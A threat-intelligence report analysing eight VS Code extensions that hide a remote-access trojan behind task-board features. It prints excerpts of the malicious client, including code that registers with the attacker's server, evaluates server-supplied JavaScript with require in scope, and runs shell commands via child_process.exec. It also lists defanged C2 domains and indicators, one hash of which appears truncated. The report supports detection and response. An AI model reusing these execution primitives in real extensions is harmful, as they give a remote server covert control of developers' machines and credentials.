Eight VS Code Extensions, One RAT Engine: Inside the Task-Board Backdoor
Between October 24 and 25, 2026, eight extensions from eight separate publisher accounts were published or updated on the Visual Studio Marketplace within a ten-hour window: flowstate.luaslope 1.0.2, opentask.opentask 1.0.0, Markers.markersboard 2.2.4, GiantManage.giantmanage 1.0.0, DawnTask.dawntask 1.0.1, starktask.starktask 1.0.1, greenbeans.greenbeans 2.0.0, and parsley.parsley 4.0.0. They present as a Roblox MCP bridge, a task manager, a project dashboard, and five Kanban boards. Each package also ships a hidden module that starts with the editor, contacts an external server, and waits for commands.
The module is a remote-access client. It registers the machine with the endpoint, sends the workspace name and absolute path, and polls every five seconds. Each returned action is approved without a prompt, executed, and reported back. The action set includes run_code, which evaluates JavaScript in the extension host with require in scope, and run_command, which calls child_process.exec.
The client is in src/extension.js for LuaSlope and in sync.js for the other seven. The core route set, the registration payload, and the execution primitives are the same across all eight packages.
The engine is a remote access trojan in the literal sense: it gives a remote server code execution inside the editor process, with the same file and network access as the developer.
TL;DR
- Eight extensions, eight publishers, one engine. The package table below lists the IDs, versions, sizes, and action sets.
- All eight activate on
onStartupFinished. The sync loop starts without a command, a prompt, or a visible setting change. - Three default to
superkawaii[.]click; five default torawrito[.]click. The rawrito group is MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0. - The protocol is identical: register, poll, approve, execute, return the result. The shared routes are
/api/client/register,/api/client/poll,/api/client/approve, and/api/client/result. - MarkersBoard is the clearest version-history deception. Versions 2.2.0 and 2.2.3 stated “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. Version 2.2.4 added
new Functionexecution and advertisedrun_codein the README. - No payload or command list is embedded in the packages. The server supplies actions at runtime. LuaSlope’s admin dashboard contains only placeholder command examples, and its action queue starts empty.
- LuaSlope started as a 2.6 KB placeholder. Version 0.0.1 declared no commands and no code. Version 1.0.2, appeared sixteen days later, carries the full engine.
- The eight packages share more than code. GiantManage and LuaSlope ship a byte-identical
media/icon.png. All eight claim GitHub repositories that return 404. - The two domains share a registrar and an ngrok target. Both use Dynadot and point to subdomains under the same ngrok CNAME target.
rawrito[.]clickwas registered 29 minutes before the MarkersBoard listing. - Of the three known hostnames, only rawrito was live during analysis. It returned HTTP 401 without a session, accepted several proxied test registrations (including production-looking workspaces), and then returned
enabled: truewith no action for up to six minutes.superkawaii[.]clickreturned the ngrok offline page. - The install numbers are small, but real. At the time of analysis, MarkersBoard showed 69 downloads and 19 installs, DawnTask showed 24 downloads and 12 installs, and GreenBeans showed 10 downloads and 3 installs, and StarkTask showed 23 downloads. GiantManage and OpenTask showed 4 and 3 downloads. Parsley reported 1,380 installs against 94 downloads, a ratio that does not agree. The LuaSlope listing did not resolve on either marketplace when checked on October 25.
The packages
| Extension | Publisher | Version | VSIX size | Default endpoint | Remote actions |
|---|---|---|---|---|---|
| LuaSlope — Roblox MCP & API Runner | flowstate |
1.0.2 | 480 KB | superkawaii[.]click |
code, shell, VS Code command, notification |
| OpenTask — Task & Workflow Manager | opentask |
1.0.0 | 1.0 MB | superkawaii[.]click |
code, shell, VS Code command, notification |
| MarkersBoard — Visual Kanban & Task Manager | Markers |
2.2.4 | 251 KB | rawrito[.]click |
code only |
| GiantManage — Project & Resource Management Suite | GiantManage |
1.0.0 | 130 KB | superkawaii[.]click |
code, shell, VS Code command, notification |
| DawnTask — Visual Kanban Board & Task Manager | DawnTask |
1.0.1 | 244 KB | rawrito[.]click |
code, shell, VS Code command, notification |
| StarkTask — Visual Kanban Board & Task Orchestrator | starktask |
1.0.1 | 347 KB | rawrito[.]click |
code only |
| GreenBeans — Visual Kanban Board & Task Orchestrator | greenbeans |
2.0.0 | 51 KB | rawrito[.]click |
code only |
| Parsley — Visual Kanban Board & Task Orchestrator | parsley |
4.0.0 | 400 KB | rawrito[.]click |
code, shell, VS Code command, notification |
The packages are small enough to read in an afternoon. The visible code is functional. OpenTask stores tasks in .opentask/tasks.json. MarkersBoard stores its board in .markersboard/board.json. GiantManage registers workspace commands. LuaSlope deploys a Roblox Studio runtime and registers an MCP server provider. The four Kanban boards in the second wave use a shared template: extension.js, commands.js, kanban.js, and sync.js. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter.
The hidden module is separate from that functionality. It has no menu item, no status-bar indicator, and no command. It is loaded from activate() and started before the user does anything.
Why the vector works
Task boards are a good cover for two reasons, and the campaign leans on that cover: five of the eight packages are Kanban boards.
First, a board needs synchronization. A developer who installs a task manager expects it to store state, sync across devices, or talk to a backend. A five-second poll to a first-party domain does not look out of place. The OpenTask README calls it “Background Workflow Sync”. The GiantManage README calls it a “Background Synchronization Engine”. MarkersBoard advertises “Custom Dynamic Code Sync” with run_code dispatches. The second wave repeats the same phrasing across four near-identical Kanban listings. The malicious function is hidden in plain sight as a product feature.
Second, the extension host has no sandbox for this. A VS Code extension runs with the same permissions as the editor. It can read files, write files, start processes, and make network requests. The Marketplace permission model cannot express “this extension may render a Kanban board but may not execute a shell command”. The installation decision is the security boundary.
The pattern is now familiar in this registry. The boardflow campaign used fifteen fake Kanban extensions to deliver a remote payload. The roqueue-tools loader waited five minutes after startup before it contacted its endpoint. These eight packages remove the download step. The extension host itself becomes the payload runtime.
The sync engine
The engine is a small HTTP client. It uses Node’s http and https modules, not the VS Code network API. It builds a URL from a default origin and a fixed route. The engine appears in three shapes. OpenTask, GiantManage, DawnTask, and Parsley accept the full action set. MarkersBoard, StarkTask, and GreenBeans accept only run_code. LuaSlope folds the engine into src/extension.js and adds a Roblox runtime. In every shape, the same five-second poll and the same execution primitives are present.
1. Registration
On the first poll, the client sends the workspace name and the absolute workspace path to /api/client/register. The server returns a client ID and a bearer token. The extension stores both in VS Code SecretStorage.
const wsName = vscode.workspace.workspaceFolders?.[0]?.name || 'Workspace';
const wsPath = vscode.workspace.workspaceFolders?.[0]?.uri.fsPath || 'Workspace';
const reg = await req('/api/client/register', {
label: 'OpenTask · ' + wsName,
location: wsPath
});
session = { id: reg.id, token: reg.token };
await context.secrets.store('opentask_session', JSON.stringify(session));
The label and path are the first data points the server receives. They identify the machine, the project, and the user’s directory layout before any malicious action runs.
2. Poll and auto-approve
The client polls GET /api/client/poll every 5,000 ms. It uses a 10-second request timeout and rejects responses larger than 1 MB. If the response contains an action, the client sends POST /api/client/approve and executes it. There is no user confirmation.
LuaSlope is explicit about this. The code logs:
log(`Directly executing action (${action.type}) without approval prompt.`);
The extension’s validateAction() function accepts a requireApproval field, but the caller never uses it. The action runs either way.
3. Code execution
For run_code, the client builds a function with the VS Code API, the extension context, the output channel, Node’s require, and console in scope.
const fn = new Function(
'vscode', 'context', 'output', 'require', 'console',
`return (async () => {\n${action.code}\n})();`
);
Passing require into the function removes any meaningful boundary. Remote code can load fs, child_process, https, or any installed module. It can read source files, environment variables, shell history, SSH keys, and cloud credentials. It can also call back into the VS Code API to read open documents or change workspace settings.
4. Shell execution
For run_command, the client concatenates the server-supplied command and arguments and passes the string to child_process.exec. The working directory defaults to the first workspace folder.
const commandStr = action.args && action.args.length
? `${action.command} ${action.args.join(' ')}`
: action.command;
childProcess.exec(commandStr, {
cwd,
timeout,
maxBuffer: 1024 * 1024
}, callback);
The callback returns stdout, stderr, and the exit code. The client posts them to /api/client/result. Results are capped at 50,000 characters per action. A server can request more data with more actions.
5. Other actions
OpenTask and GiantManage also accept run_vscode_command and show_notification. The first executes any registered VS Code command. The second displays a remote-controlled message, with remote-controlled buttons, inside the editor. LuaSlope supports the same set.
MarkersBoard 2.2.4 limits the action type to run_code. That is not a mitigation. The function still receives require, so a single run_code action can call require('child_process').exec(...).
The MarkersBoard pivot
MarkersBoard is the most direct evidence that the benign build and the malicious build are the same product.
Version 2.2.0 shipped a polling client with no default endpoint and no execution path. Its header described a “Polling-Only Synchronization Engine” with “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. The configuration description said: “Left empty by default for zero network contact. Note: Does not run any code.”
Version 2.2.3 kept the same claims. It added a default endpoint anyway:
const DEFAULT_ENDPOINT = 'https://rawrito.click';
The configuration description still said “Note: Does not run any code.” The comment block still said “ZERO-CONTACT DEFAULT”. The code still did not execute actions.
Version 2.2.4 removed the claims and added the engine. The header became “MarkersBoard Polling & Dynamic Code Synchronization Engine”. The new function executeCustomCode() creates a function with new Function, runs the server-supplied body, and posts the result. The README changed from a polling description to “Custom Dynamic Code Sync” with run_code dispatches. The Marketplace update landed at 03:33 UTC on October 25.
The listing was published at 02:41 UTC. Within 52 minutes, the same extension ID moved from a board with no execution path to a board that runs remote JavaScript. The earlier versions were not a different product. They were the review-safe stage of the same product.
The Parsley pivot
Parsley has the longest version history in the set and a second no-execution-to-execution pivot.
- 0.0.1 (October 17): a status-command placeholder.
- 2.0.1 (observed October 25 04:26): a Kanban board with the full engine on
superkawaii[.]click.sync.jssupportsrun_code,run_command,run_vscode_command, andshow_notification. - 3.0.1 (observed 06:55): a Kanban board with no network code.
- 3.0.2 (observed 07:05): polling and heartbeat only. The header says “EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined.” It uses
rawrito[.]click,/api/client/ping, and theparsley_client_sessionkey. - 4.0.0 (published 07:15): the execution engine returns.
sync.jsadds the AsyncFunction constructor,child_process.exec, the full action router, and/api/client/heartbeat. The secret key changes toparsley_client_session_v4.
The 3.0.2 → 4.0.0 diff is the clearest review-safe pivot after MarkersBoard. The earlier build explicitly declines actions. The later build executes them. The gap between the observed 3.0.2 build and the 4.0.0 publish is ten minutes.
The endpoint also changed between generations. Parsley 2.0.1 used superkawaii[.]click. The 3.0.2 and 4.0.0 builds use rawrito[.]click. The operator moved the same client to a new domain and then restored the execution path.
Placeholder-first publishing
LuaSlope followed the same staging pattern with a longer delay.
Version 0.0.1 was a 2.6 KB placeholder. Its README said: “This version provides no functionality. It registers no commands, changes no settings, and runs no code.” The package had no main entry and no JavaScript.
Version 0.0.1 was on the registry by October 8. Version 1.0.2 was on the registry by October 24. The later build is 480 KB and contains the full Roblox runtime, the MCP provider registration, and the sync engine. The publisher kept the same flowstate.luaslope identity across both versions.
MarkersBoard shows the same pattern in a shorter window. Version 1.0.0 was a single 371-byte extension.js that registered one status command. Version 2.0.0 added the board. Version 2.2.0 added polling. Version 2.2.4 added remote code execution.
The pattern repeats across the set. Six of the eight packages shipped a placeholder before the RAT build:
| Package | Placeholder | RAT build | Observed gap |
|---|---|---|---|
| LuaSlope | 0.0.1, 2.6 KB, no main |
1.0.2 | 16 days |
| MarkersBoard | 1.0.0, 371-byte status command | 2.2.4 | same hour as the listing |
| DawnTask | 1.0.0, status command only | 1.0.1 | 20 minutes |
| StarkTask | 1.0.0, status command only | 1.0.1 | 1 minute |
| GreenBeans | 1.0.0, status command only | 2.0.0 | 28 minutes |
| Parsley | 0.0.1, status command only | 2.0.1 | 8 days |
DawnTask, StarkTask, and GreenBeans each shipped a 1.0.0 build whose only feature was a status command. The RAT build arrived as 1.0.1 or 2.0.0. Parsley shipped a placeholder on October 17, a RAT build on October 25, a clean Kanban build, a polling-only build, and then the RAT build again.
A placeholder build is cheap. It reserves the name, establishes a version history, and gives a reviewer something harmless to inspect. The weaponized build arrives later, under the same ID, after the listing has already passed the first review.
Linkage evidence
The eight packages are not linked by a single shared hash. They are linked by a set of independent artifacts that point to the same development pipeline.
Shared network protocol
- Two endpoints.
superkawaii[.]clickappears in LuaSlope, OpenTask, and GiantManage.rawrito[.]clickappears in MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0. - Same route set. All eight use
/api/client/register,/api/client/poll,/api/client/approve, and/api/client/result. LuaSlope and Parsley 4.0.0 also use/api/client/heartbeat. Parsley 3.0.2 uses/api/client/ping. - Same registration payload. The client sends
labelas<Product> · <workspace name>andlocationas the absolute workspace path. - Same auth flow. Registration returns
{ id, token }. Later requests useAuthorization: Bearer <token>. - Same timing. Poll interval 5,000 ms, request timeout 10,000 ms, response cap 1 MB, result cap 50,000 characters.
Shared code structure
- Same execution primitive. All eight pass
requireinto a dynamically constructed function. Seven usenew Functionwithvscode,context,output,require, andconsole. Parsley 4.0.0 uses the AsyncFunction constructor with the same core globals plus akitobject. - Same shell primitive. OpenTask, GiantManage, LuaSlope, DawnTask, and Parsley 4.0.0 call
child_process.execwithcwd, a timeout, and a 1 MB buffer. - Same state keys.
opentask_session,markersboard_session,giantmanage_session,dawntask_session,starktask_session, andgreenbeans_sessionfollow the same naming convention. Parsley usesparsley_client_session_v4; its earlier builds useparsley_sessionandparsley_client_session. LuaSlope usesactionClientSession. - Characteristic log strings across the set.
Establishing background synchronization...,Connecting client to,Processing action,Directly executing action ... without approval prompt, and the per-product prefixes[DawnTask Sync],[StarkTask Sync],[GreenBeans Sync], and[Parsley Exec].
Shared infrastructure and timeline
Both domains are registered through Dynadot and use the same nameservers (ns1.dyna-ns.net, ns2.dyna-ns.net). Both are CNAMEs to subdomains under the same ngrok target, 3ka4t3whps9jrnjvw.ngrok-cname[.]com. A third hostname, super.superkawaii[.]click, uses the same target.
| Time (UTC) | Event |
|---|---|
| 2026-10-14 22:35 | Certificate for *.superkawaii[.]click |
| 2026-10-14 23:10 | superkawaii[.]click registered |
| 2026-10-24 21:57 | OpenTask 1.0.0 published |
| 2026-10-24 22:05 | LuaSlope 1.0.2 observed on the registry |
| 2026-10-25 00:53 | GiantManage 1.0.0 published |
| 2026-10-25 01:19 | Certificate for super.superkawaii[.]click |
| 2026-10-25 01:20 | Certificate for rawrito[.]click |
| 2026-10-25 02:03 | DawnTask listing published |
| 2026-10-25 02:12 | rawrito[.]click registered |
| 2026-10-25 02:31 | DawnTask 1.0.1 RAT build |
| 2026-10-25 02:41 | MarkersBoard listing published |
| 2026-10-25 02:43 | StarkTask listing published |
| 2026-10-25 02:52 | StarkTask 1.0.1 RAT build |
| 2026-10-25 03:33 | MarkersBoard 2.2.4 update |
| 2026-10-25 04:26 | Parsley 2.0.1 observed on superkawaii[.]click |
| 2026-10-25 05:48 | GreenBeans listing published |
| 2026-10-25 06:24 | GreenBeans 2.0.0 RAT build |
| 2026-10-25 06:55 | Parsley 3.0.1 observed with no network code |
| 2026-10-25 07:05 | Parsley 3.0.2 observed with execution disabled |
| 2026-10-25 07:15 | Parsley 4.0.0 published with execution restored |
rawrito[.]click was registered 29 minutes before the MarkersBoard listing. superkawaii[.]click was registered ten days before the LuaSlope 1.0.2 build appeared. The certificate for super.superkawaii[.]click and the certificate for rawrito[.]click were issued one minute apart on October 25.
The ngrok target and its AWS addresses are shared infrastructure, not attacker-owned hosts. The specific tunnel hostnames are the malicious part. Do not block the parent ngrok-cname.com domain.
Shared development artifacts
- Byte-identical icon.
GiantManage.giantmanage1.0.0 andflowstate.luaslope1.0.2 ship the samemedia/icon.png: SHA-25617a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353. The file is 121,378 bytes in both packages. - Dead repository links. Each
package.jsonclaims a GitHub repository atgithub[.]com/<publisher>/<name>. All eight returned 404 on October 25:opentask/opentask,markers/markersboard,giantmanage/giantmanage,flowstate/luaslope,DawnTask/dawntask,starktask/starktask,greenbeans/greenbeans, andparsley/parsley. - C2 as homepage. Seven of the eight set the
homepagefield inpackage.jsonto the same domain the sync engine uses: LuaSlope, GiantManage, MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley. OpenTask points to a 404 GitHub repository instead. - Similar package skeleton. OpenTask, MarkersBoard, and GiantManage use a small
extension.jsentry point, acommands.jsfile for the visible product, and async.jsengine. DawnTask, StarkTask, GreenBeans, and Parsley addkanban.jsand a sidebar webview. LuaSlope folds the engine intosrc/extension.js.
The evidence supports a shared toolkit. It does not prove that one person controls every publisher account. The available data shows the same engine, the same protocol, and the same build artifacts reused across eight listings.
The Kanban cluster
The second wave is four Kanban boards with the same template. All four were published or updated between 02:03 and 07:15 UTC on October 25.
| Package | Listing | RAT build | Placeholder | Actions | Marketplace reach |
|---|---|---|---|---|---|
DawnTask.dawntask |
02:03 | 1.0.1 at 02:31 | 1.0.0 status command | code, shell, VS Code command, notification | 12 installs / 24 downloads |
starktask.starktask |
02:43 | 1.0.1 at 02:52 | 1.0.0 status command | code only | 23 downloads |
greenbeans.greenbeans |
05:48 | 2.0.0 at 06:24 | 1.0.0 status command | code only | 3 installs / 10 downloads |
parsley.parsley |
Oct 17 04:27 | 4.0.0 at 07:15 | 0.0.1 status command | code, shell, VS Code command, notification | 1,380 installs / 94 downloads |
The four second-wave packages use the same layout: extension.js, commands.js, kanban.js, and sync.js. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter. The package descriptions use the same sentence: “Visual Kanban task orchestration, sprint management, and automated workflow tracking for Visual Studio Code.”
DawnTask’s sync.js is 75% similar to OpenTask’s by line-level comparison. StarkTask and GreenBeans are smaller variants that accept only run_code. Parsley 4.0.0 has the largest sync.js, with a kit object, heartbeat, and the full action router.
Parsley is the outlier by reach. Its listing reported 1,380 installs against 94 downloads. The two counters do not agree, so treat the install figure with caution. The listing still reaches a larger audience than the other seven.
All four second-wave packages use rawrito[.]click and set it as the package homepage. The domain is also the endpoint for MarkersBoard, which makes the second wave and MarkersBoard one infrastructure cluster.
What the client can do
There is no fixed payload in any of the eight packages. That is the design. The package contains the client; the server contains the payload.
No payload or command list was recovered from the published packages. The eight packages contain the client, not the actions. LuaSlope also ships a local admin server and dashboard, but its command field contains only placeholder examples (node -v, dir, git status, powershell Get-Date), and the action queue starts empty. The commands the server actually issued remain unknown.
The protocol gives the server enough primitives to:
- Read any file the editor can read, including source code,
.envfiles, SSH keys, cloud credential files, and shell history. - Write files and modify the workspace, including build scripts and configuration.
- Run shell commands as the developer, with the workspace as the working directory.
- Read the open editor state through the VS Code API.
- Execute any VS Code command, including commands that install or modify other extensions.
- Show a message inside the editor with remote-controlled text and buttons.
- Return command output and code results to the server.
The registration step already sends the workspace name and absolute path. The result endpoint accepts up to 50,000 characters per action. A server can issue repeated actions to move larger files or run longer commands.
At the time of analysis, rawrito[.]click answered GET /api/client/poll with HTTP 401 and {"error":"Client session missing or expired."}. Several proxied test registrations returned a client ID and a 64-character token. Poll loops ran for up to six minutes, including registrations with production-looking workspace names, and returned enabled: true with no action. superkawaii[.]click returned the ngrok offline page (ERR_NGROK_3200). The 401 response confirms that the rawrito API was live and enforcing client sessions. The registration confirms that it accepts new clients. The empty poll shows that it did not deliver a payload to a new session during the observation window. No response contained a command.
The absence of an action does not make the registration harmless. The client still sends the workspace name and absolute path on first contact. A server can collect that data without ever issuing a command.
The endpoints are configured in the packages. The LuaSlope listing did not resolve, and the other seven listings were still available when checked on October 25. A defender should treat any machine that ran these extensions as having executed unknown code.
Outlook
The campaign shows a repeatable publishing pattern, and the pattern will continue.
- Placeholder-first publishing will increase. Six of the eight packages shipped a placeholder build before the RAT build. A cheap shell build ages the ID and gives the listing a clean first review. The weaponized build arrives as an update.
- The engine will be reused across product categories. Five Kanban boards, a task manager, a project dashboard, and a Roblox bridge all shipped the same client in one night. The same engine fits any product with a backend.
- Endpoints will rotate.
superkawaii[.]clickandrawrito[.]clickare disposable, and Parsley already moved from one to the other. The durable signal is the route set, the registration payload, and the execution primitive, not the domain. - The remote switch will stay. A server-side action model lets the threat actor test a listing, change behavior, and stop serving code without republishing the extension.
- AI and MCP tooling is the next cover. LuaSlope shows how much legitimate runtime code a modern extension can carry. A large package with a real bridge, a real plugin, and a real MCP provider gives the hidden client more room to hide.
Defenders should watch for the update, not just the first publish. The version that passes review is often not the version that runs the campaign.
Remediation
If these extensions were installed in an editor, remove them and treat the machine as compromised.
- Remove the extensions. Uninstall
flowstate.luaslope,opentask.opentask,Markers.markersboard,GiantManage.giantmanage,DawnTask.dawntask,starktask.starktask,greenbeans.greenbeans, andparsley.parsley. - Rotate credentials. Assume any secret readable by the editor was exposed: GitHub and npm tokens, cloud access keys, SSH keys,
.envfiles, and package registry tokens. Rotate them from a different machine. - Review the workspace and shell history. Check for new files, modified build scripts, and commands that were not run by the developer.
- Block the endpoints at egress. Use the exact hostnames
superkawaii[.]clickandrawrito[.]click. Do not block the.clicktop-level domain. - Check for the client on disk. Look for
sync.jsinside the extension directories and for the*_session*keys in VS Code SecretStorage. - Report the listing. Use the Marketplace “Report a concern” action. Removal from the listing does not remove an installed copy.
The general principle is simple: a background sync feature is a remote execution channel when the client can execute what it receives. The review question is not “does this extension make network requests?” It is “what can the other end make this extension do?”
IOCs
Package hashes
| Package | SHA-256 |
|---|---|
flowstate.luaslope-1.0.2.vsix |
8af9bf0e37b61763ba437007b425f3cf1d8c0273e91c5532c7cb29fe785f2f37 |
opentask.opentask-1.0.0.vsix |
b7345ddd0bdb7490f2ed50229d97d4ab7cc78fb7ab9e9faf6f6c743aafec3e00 |
Markers.markersboard-2.2.4.vsix |
22d7197c305aef735d01e34779af40454bf6804e83039c812b5c27c7ec017ff0 |
GiantManage.giantmanage-1.0.0.vsix |
a087c1c13d322be354c0b8dd85ad29f293b93a14f9a07cad4bc2e10a032fc3f2 |
DawnTask.dawntask-1.0.1.vsix |
4146488d3f89edd70e9d69ca77e400d8cc43521251e6598d17c123b867ad09a1 |
starktask.starktask-1.0.1.vsix |
bae2e82ec138f7e8d9bd0db35b715967f5acad5284ebb905fd2811aaf5f9d0d2 |
greenbeans.greenbeans-2.0.0.vsix |
6b67ff0cc465b7e9e2de6d1f7a8775c77eb1aa2b96f753a0882e6c18943022f1 |
parsley.parsley-4.0.0.vsix |
b35471954e9ed7702298adf36ac95583d996a82d5a7be665936a24f0b67d5485 |
Engine file hashes
| File | SHA-256 |
|---|---|
LuaSlope extension/src/extension.js |
24f98599f3b47807b0e0bb3472bf77c56cb9c6b7426a0ead767cbb3faf7f4c5e |
OpenTask extension/sync.js |
3e2c8b0a48974426542ba7975b5f0eec0d6e916d07b1fd37e8588a8da72271cd |
MarkersBoard extension/sync.js |
5b58e171fd3aa6549993c52745cde1474ef62f9c8e7e1503f17e317447a9b018 |
GiantManage extension/sync.js |
fe0b71ce163ed3da802159098484f98c715856f589b5ecf2603231b4de56ef2a |
DawnTask extension/sync.js |
b69a3a07e8da364cda3cc1fef73ca9e8cc210359b3274fb0df356619305be0c7 |
StarkTask extension/sync.js |
8f57fbe4a6b303bef71e07f398e3a413b2548271c2ba98c07bf605761d0e16e0 |
GreenBeans extension/sync.js |
be85cd9bec5ff407524cf7ac6413d0fe023e9fac4e2745574155b6125ffe4b95 |
Parsley 4.0.0 extension/sync.js |
41a8c753b7a360ef886a8cff79ae97bcec6d3a039754f97de684fb59717b213c |
Version-history hashes
| File | SHA-256 |
|---|---|
Parsley 2.0.1 extension/sync.js |
8a69393d1af0e9ebf67954b9a45e53cf1fe61c43cafa20fa93a46cde0654a784 |
Parsley 3.0.2 extension/sync.js |
81b71277f9ccd917ec825a119b497d7ecee2a1393bd0fb83228b18538d998830 |
The 3.0.2 build is the no-execution variant. The 4.0.0 build is the RAT variant.
Network indicators
superkawaii[.]clickrawrito[.]clicksuper.superkawaii[.]click- Shared ngrok CNAME target:
3ka4t3whps9jrnjvw.ngrok-cname[.]com(pivot only; do not block the parentngrok-cname.com) /api/client/register/api/client/poll/api/client/approve/api/client/result/api/client/heartbeat/api/client/ping
Registration indicators
- Registrar: Dynadot, LLC
- Nameservers:
ns1.dyna-ns.net,ns2.dyna-ns.net superkawaii[.]clickcreated 2026-10-14 23:10 UTCrawrito[.]clickcreated 2026-10-25 02:12 UTC
Dynadot is a legitimate registrar. The indicator is the specific domain set and registration pattern, not the registrar itself.
Behavioral indicators
- Registration label format
<Product> · <workspace name>withlocationset to the absolute workspace path. - Poll interval of 5,000 ms with a 10,000 ms request timeout.
- SecretStorage keys
opentask_session,markersboard_session,giantmanage_session,dawntask_session,starktask_session,greenbeans_session,parsley_client_session_v4,parsley_client_session,parsley_session,actionClientSession. new Function('vscode', 'context', 'output', 'require', 'console', ...).child_process.exec(commandStr, { cwd, timeout, maxBuffer: 1024 * 1024 }).- Log strings
Establishing background synchronization...,Connecting client to,Directly executing action,Only custom code execution is enabled., and the per-product prefixes[DawnTask Sync],[StarkTask Sync],[GreenBeans Sync], and[Parsley Exec]. - Shared icon SHA-256
17a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353. - No-execution build string:
EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined. - Claimed repositories at
github[.]com/opentask/opentask,github[.]com/markers/markersboard,github[.]com/giantmanage/giantmanage,github[.]com/flowstate/luaslope,github[.]com/DawnTask/dawntask,github[.]com/starktask/starktask,github[.]com/greenbeans/greenbeans, andgithub[.]com/parsley/parsleyreturn 404.
Note on payload hashes
There is no payload hash to publish. The eight packages contain a client, not a payload. The server supplies the code at runtime, and the code can change for each client. Detection should focus on the client behavior and the protocol, not on a fixed binary.